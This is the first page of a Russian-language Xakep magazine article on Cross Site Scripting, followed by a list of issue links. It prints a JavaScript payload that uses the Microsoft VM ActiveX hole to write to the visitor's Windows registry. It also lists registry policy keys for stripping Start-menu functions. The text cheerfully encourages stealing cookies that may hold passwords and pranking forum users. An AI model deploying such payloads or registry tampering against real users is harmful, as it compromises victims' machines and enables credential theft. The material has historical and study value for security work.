Cross Site Scripting

Xakep, номер #042, стр. 042-038-1

ломаем клиента через сервер и наоборот

Кислицин Никита aka Nikitos (nikitoz@fromru.com)

Ты, наверняка, неоднократно слышал про Cross Site Scripting, да и я писал об этой уязвимости в статье “Взлом PHP”. Тогда я отвертелся, подпираемый размером журнала сказал: “Почитай доки по javascript”. Сейчас настало время подробно рассказать о том, что из себя представляет эта уязвимость, что с ее помощью можно сделать и вообще, нафиг оно тебе надо.

Не знаю, как правильно переводится “Cross Site Scripting”, но, видимо, примерно так: “сценарий с другой стороны скрипта”. И действительно, несмотря на хардкорный каламбур, этот перевод довольно точен: уязвимость позволяет, используя функции скрипта, выполнить на машине клиента любой код, встраиваемый в html (Javascript, VBScript, ActiveX, т.п.).

Казалось бы, что тебе это может дать? Как ни странно, порой многое: благодаря дыркам в ActiveX ты сможешь писать в реестр (работает почти на всех окнах!), сможешь натырить печенья (а в них ведь иногда кладут пароли и другую конфиденциальную информацию!). А если ты, например, встретил баг в большом форуме, то есть шанс накрутить баннерных показов и просто здорово поржать над юзерами, пуская различные яваскриптовые приколы, которые открывают пару сотен окон и начинают ими двигать по экрану ;).

Но обо всем по порядку.

/* Пишем в реестр */

В ноябре 2000 года Microsoft выпустила патч на дыру под страшным названием “Microsoft VM ActiveX Component vulnerability” – именно эта уязвимость позволяет производить запись в реестр. Несмотря на то, что прошло уже полтора года, почти все версии Windows восприимчивы к следующему коду:

<script>

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function yuzi3(){

try{

a1=document.applets[0];

a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();Shl = a1.GetObject();

a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");

try{

Shl.RegWrite("путь\\к\\ключу\\","значение");

}

catch(e){}

}

catch(e){}

}

setTimeout("yuzi3()",1000);

</script>

Полтора года. Большой срок, правда? Но не для пользователей windows – поверь, среднестатистический юзер не читает багтраки, не подписан на secure-рассылки, и, следовательно, не качает патчи ;).

Справедливости ради надо сказать, что сейчас (когда я пишу эти строки;)), моя машина так же восприимчива к этому багу – я недавно менял хард, а в процессе переезда потерял заветный Servise Pack ;(. Качаю, уже 0.15% ;). Итак, глумимся над реестром. Что корыстного можно с него поднять? Я приведу несколько примеров, реализация которых дает наиболее красивые и осязаемые результаты.

/* X-твикинг */

Издевательства над меню "пуск":

Все ключи создаются по адресу HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Policies\Explorer\

NoClose=1 - убирает из меню пунктик "завершение работы" ;)

NoFind - убирает "поиск"

NoSetTaskbar - убирает "настройка"

NoSMHelp - и помощи он не дождется!

NoCommonGroups - удаляет "стандартные" программы

Содержание  Вперед на стр. 042-038-2

Выпуски журнала "Xakep"
Журнал Хакер. Содержание номера #001Журнал Хакер. Содержание номера #002Журнал Хакер. Содержание номера #003Журнал Хакер. Содержание номера #004Журнал Хакер. Содержание номера #005Журнал Хакер. Содержание номера #006Журнал Хакер. Содержание номера #007Журнал Хакер. Содержание номера #008Журнал Хакер. Содержание номера #009Журнал Хакер. Содержание номера #010Журнал Хакер. Содержание номера #011Журнал Хакер. Содержание номера #012Журнал Хакер. Содержание номера #013Журнал Хакер. Содержание номера #014Журнал Хакер. Содержание номера #015Журнал Хакер. Содержание номера #016Журнал Хакер. Содержание номера #017Журнал Хакер. Содержание номера #018Журнал Хакер. Содержание номера #019Журнал Хакер. Содержание номера #020Журнал Хакер. Содержание номера #021Журнал Хакер. Содержание номера #022Журнал Хакер. Содержание номера #023Журнал Хакер. Содержание номера #024Журнал Хакер. Содержание номера #025Журнал Хакер. Содержание номера #026Журнал Хакер. Содержание номера #027Журнал Хакер. Содержание номера #028Журнал Хакер. Содержание номера #029Журнал Хакер. Содержание номера #030Журнал Хакер. Содержание номера #031Журнал Хакер. Содержание номера #032Журнал Хакер. Содержание номера #033Журнал Хакер. Содержание номера #034Журнал Хакер. Содержание номера #035Журнал Хакер. Содержание номера #036Журнал Хакер. Содержание номера #037Журнал Хакер. Содержание номера #038Журнал Хакер. Содержание номера #039Журнал Хакер. Содержание номера #040Журнал Хакер. Содержание номера #041Журнал Хакер. Содержание номера #042Журнал Хакер. Содержание номера #043Журнал Хакер. Содержание номера #044Журнал Хакер. Содержание номера #045Журнал Хакер. Содержание номера #046Журнал Хакер. Содержание номера #047Журнал Хакер. Содержание номера #048Журнал Хакер. Содержание номера #049Журнал Хакер. Содержание номера #050Журнал Хакер. Содержание номера #051Журнал Хакер. Содержание номера #052Журнал Хакер. Содержание номера #053Журнал Хакер. Содержание номера #054Журнал Хакер. Содержание номера #055Журнал Хакер. Содержание номера #056Журнал Хакер. Содержание номера #057Журнал Хакер. Содержание номера #058Журнал Хакер. Содержание номера #059Журнал Хакер. Содержание номера #060Журнал Хакер. Содержание номера #061Журнал Хакер. Содержание номера #062Журнал Хакер. Содержание номера #063Журнал Хакер. Содержание номера #064Журнал Хакер. Содержание номера #065Журнал Хакер. Содержание номера #066Журнал Хакер. Содержание номера #067Журнал Хакер. Содержание номера #068Журнал Хакер. Содержание номера #069Журнал Хакер. Содержание номера #070Журнал Хакер. Содержание номера #071Журнал Хакер. Содержание номера #072Журнал Хакер. Содержание номера #073Журнал Хакер. Содержание номера #074Журнал Хакер. Содержание номера #075Журнал Хакер. Содержание номера #076Журнал Хакер. Содержание номера #077Журнал Хакер. Содержание номера #078Журнал Хакер. Содержание номера #079Журнал Хакер. Содержание номера #080Журнал Хакер. Содержание номера #081Журнал Хакер. Содержание номера #082Журнал Хакер. Содержание номера #083Журнал Хакер. Содержание номера #084Журнал Хакер. Содержание номера #085Журнал Хакер. Содержание номера #086Журнал Хакер. Содержание номера #087Журнал Хакер. Содержание номера #088Журнал Хакер. Содержание номера #089Журнал Хакер. Содержание номера #090Журнал Хакер. Содержание номера #091Журнал Хакер. Содержание номера #092Журнал Хакер. Содержание номера #093Журнал Хакер. Содержание номера #094Журнал Хакер. Содержание номера #095Журнал Хакер. Содержание номера #096Журнал Хакер. Содержание номера #097Журнал Хакер. Содержание номера #098Журнал Хакер. Содержание номера #099Журнал Хакер. Содержание номера #100Журнал Хакер. Содержание номера #101Журнал Хакер. Содержание номера #102Журнал Хакер. Содержание номера #103Журнал Хакер. Содержание номера #104Журнал Хакер. Содержание номера #105Журнал Хакер. Содержание номера #106Журнал Хакер. Содержание номера #107Журнал Хакер. Содержание номера #108Журнал Хакер. Содержание номера #109Журнал Хакер. Содержание номера #110Журнал Хакер. Содержание номера #111Журнал Хакер. Содержание номера #112Журнал Хакер. Содержание номера #113Журнал Хакер. Содержание номера #114